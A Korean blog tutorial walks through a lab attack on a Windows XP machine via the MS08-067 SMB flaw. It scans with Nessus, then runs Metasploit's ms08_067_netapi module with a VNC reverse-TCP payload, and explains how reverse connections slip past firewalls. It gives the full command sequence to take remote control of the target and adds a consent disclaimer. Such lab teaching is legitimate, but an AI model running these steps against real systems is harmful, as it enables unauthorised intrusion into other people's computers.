MS08_067 취약점
오늘은 MS08_067이라는 MS사의 취약점을 이용한
메타스플로잇 공격을 할건데요^^
프스팅에 앞서 !!
주의 사항 : 이를 이용한 공격은 상대방의 동의를 얻거나, 개인용 컴퓨터에서 학습용으로 사용할 것을 당부드립니다.
이를 사용하여 타인에게 공격하여 생기는 모든 책임은 당사자에게 있습니다.
당부말씀 일단 드리고 시작하겠습니다 :)
그럼 이제 먼저 영상을 통해서 소개해 드리겠습니다.
부족하지만... ^^; 잘 봐주세요 ㅎㅎ
YouTube 설정(톱니모양) 클릭하셔서 720p를 선택하시면 깔끔하게 보실수 있습니다.
http://www.youtube.com/watch?feature=player_detailpage&v=osOrBNyhUaM
준비물 : nessus(설치, 계정), BacktTrack(Linux OS 중 하나), 희생자(xp)
공격루트 :
1. nessus를 이용한 취약점 스캔
2. payload를 사용하여 메타스플로잇 공격
일단 이번 포스팅에서는 nessus 설치 및 계정생성은 글로만 소개 드리겠습니다.
1. 먼저 nessus의 라이센스 키를 확보를 해야되는데요 그러기 위해선 계정을 생성해야 됩니다.
해당 링크(http://www.tenable.com/products/nessus-home)에 들어가셔서 오른쪽에 기제된 사항들을 모두 채우시고 Register를 클릭해시면 기입된 이메일로 라이센스키가 발송됩니다. 예) WEBEVAL-EF30-2304-99AE-8325-E308
2. 이제 백트랙에 nessus를 설치하고, 계정과 라이센스키를 등록해야 합니다.
백트랙에서 " apt-get install nessus " 명령어로 nessus를 인스톨해줍니다.
그리고 " /opt/nessus/sbin/nessus-adduser " 명령어를 사용하시면 사용자 id와 pw를 물어봅니다. 이때 사용자 id와 pw는 위에서 가입한 id와 pw를 사용합니다. (여기서 nessus와의 인증과 정책 설정(?)에 의해서 시간이 다소 소비 될 수 있습니다.)
예) /opt/nessus/bin/nessus-fetch --register WEBEVAL-EF30-2304-99AE-8325-E308
" /etc/init.d/nessusd start "
4. 혹시 모를 불필요한 차단에 대해서 백트랙의 방화벽을 꺼줍니다.
5. nessus 접속
여기서 localhost에는 백트랙(해킹자)의 ip를 넣어주시면 됩니다. 예) https://192.168.119.131:8834
여기서 ip는 저랑 똑같이 사용하시면 안됩니다. 여러분의 ip를 적어주셔야 됩니다. :) ip확인 방법은 " ifconfig "
nessus를 계정이 잘 생성되었고 네서스가 잘 실행 되었다면 nessus창이 뜨면서 패치가 시작됩니다. 다소 시간이 걸릴 수 있습니다.
패치가 완료된후 로그인창이 뜨면 처음에 가입한 id와 pw로 로그인 하시면 됩니다. :) |
Add버튼을 클릭한다.
정책의 이름(Name)과 Port Scanners를 설정하고 Next버튼을 누른다.
정책이름은 사용하고싶은 이름을 설정하면 되고,
Port Scanners는 내가 스캔하고 싶은 Port들을 설정하는 것이다.
그 후로 Submit이 나올때 까지 계속 Next!!
정책이 정상적으로 추가가 됬는지 확인 !!
2. scan에 들어가 정책을 링크하고 공격할 ip를 적어 스캔한다.
scans도 마찬가지고 클릭하고 Add버튼을 클릭
scan의 이름(Name)과 Type, Policy, Scan Target을 설정하고 Launch Scan !!
Name은 마찬가지로 사용자가 알아보기 쉬운 이름으로 설정하시면 됩니다.
Policy 위에서 우리가 설정한 정책을 설정하시고
Scan Targets은 우리가 공격할 ip를 적어주시면 됩니다.
스캔이 끝나게 되면 Total High Medium Low OpenPort 가 나옵니다.
Total : 발견된 총 취약점
High : 가장 취약한 취약점
Medium : 주의 해야할 취약점
Low : 위험하지 않은 취약점
Open Port : 해당 ip에 열려 있는 포트
저희가 공격할 경로는 High취약점을 이용해서 공격을 할겁니다.
Report에 들어가 해당 결과를 더블클릭하게 되면 자세하게 표시가 됩니다.
이중 우리는 445포트(MS사의 포트)의 High취약점을 이용한다.
445포트 부분의 High "2" 더블클릭 !!
445포트의 취약점 2개를 상세하게 표시해준다.
우리가 이용할 취약점은 2008년도 발표된 취약점으로 MS08-067를 이용.
3. 이제 백트랙을 이용하여 공격한다.
" msfconsole " 명령어로 메타스플로잇 실행
메타스플로잇을 실행하고 업데이트를 한번 실행해주는 것이 좋은데요.
메타스플로잇을 업뎃하는 방법을 추후 포스팅으로 알려드리겠습니다. (--)(__) 꾸벅~
메타스플로잇에서 우리가 아까 발견한 취약점 모듈이 있는지 검색
" search ms08_067 "
exploit/windows/smb/ms08_067_netapi라는 모듈이 존재함을 메타스플로잇이 알려준다.
그리고 옆에 Rank부분이 표시되는데 great라고 표시되있다.
여기서 Rank에 대해서 설명을 드리자면,
rank에는
manual low average normal good great exccellent 등이 나온다.
이때 오른쪽으로 갈 수록 공격 성공할 확률이 높은 것이다.
우리가 사용할 모듈은 great이므로 성공 가능성이 꽤 높다.
모듈을 사용하려면 " use [해당 모듈명] "
" use exploit/windows/smb/ms08_067_netapi "
명령을 수행하게 되면 그림과 같이(exploit(ms08_067_netapi) 모듈이 장착되었음을 알수 있다.
이제 해당 모듈로 공격을 수행할때 어떠한 payload로 공격을 수행할지를 결정 짓어야 된다.
이때 해당 모듈에 사용할 수 있는(호환되는) 페이로드가 어떠한 것들이 있는지
" show payloads " 명령을 이용하여 검색한다.
호환되는 payload 목록..
우리가 사용할 payload는 "windows/vncinject/reverse_tcp"이다
" set payload windows/vncinject/reverse_tcp " 명령어로
페이로드를 설정해 주면 된다.
여기서 reverse란,
PC_A : 공격자(해커), PC_B : 공격받는자 (희생자)
우리가 PC_B로 공격을 들어갈때 수많은 네트워크 장비들과 방화벽을 뚫고
들어가야 되기 때문에 상당히 번거롭고 힘들다.
하지만 reverse는 PC_B에서 PC_A로 정보를 전달하게 된다.
네트워크 장비들과 방화벽은 외부에서 내부로 들어오는 것에 대한것들은 보안정책이 강력하게 작용하지만, 내부에서 외부로 나가는 정책들은 간과하다는 점을 이용한 방법이다.
이제 설정한 모듈(ms08_067_netapi)와 페이로드(windows/vncinject/reverse_tcp)를 설정해주어야 한다.
" show options "를 통해 설정
여기서 RHOST, LHOST, RPORT, LPORT를 설정해 주어야 하는데,
RPORT와 LPORT는 모듈에서 기본적으로 설정이 되어있다.
RPORT를 보시면 MS포트(445)로 이용하게 되어있다. (아까 nessus 스캔에서 열려있던 port)
RHOST 설정 명령은
" set RHOST 192.168.119.131 "
RHOST는 공격대상(희생자)의 ip를 적어주면 된다.
" set LHOST 192.168.119.130 "
LHOST는 공격자(해커)의 ip를 적어주면 된다.
여기서 ip는 저랑 똑같이 사용하시면 안됩니다. 여러분의 ip를 적어주셔야 됩니다. :)
ip확인 방법은 " ifconfig "
여기서 !! 문제 !!
왜 침투를 하는데 희생자의 ip만 있으면 되지, 공격자의 ip까지 적어주어야 될까요?
정답은 위에서 말씀드린, reverse와 관련되어 있습니다.
reverse에 대해 설명 드릴때 희생자 pc에서 공격자 pc로 정보를 전달 함으로써
외부 -> 내부로 들어가는 방화벽을 우회에서 공격한다고 말씀드렸죠?
그럼 희생자pc 에서 공격자에게 정보를 전달하려면 공격자의 ip가 필요하겠죠?
:)
이렇게 되면 모든 공격의 준비는 끝나게 됩니다 :)
이제 마지막으로 " exploit " 공격 명령어를 실행하시면 됩니다.
그 후에 일어나는 모든 일들을 만끽 하시길... :)
상대방의 컴퓨터를 제어할 수 있네요 :)
마지막으로 다시한번 언급 드리겠습니다. 복붙복붙복붙~~~
주의 사항 : 이를 이용한 공격은 상대방의 동의를 얻거나, 개인용 컴퓨터에서 학습용으로 사용할 것을 당부드립니다.
이를 사용하여 타인에게 공격하여 생기는 모든 책임은 당사자에게 있습니다.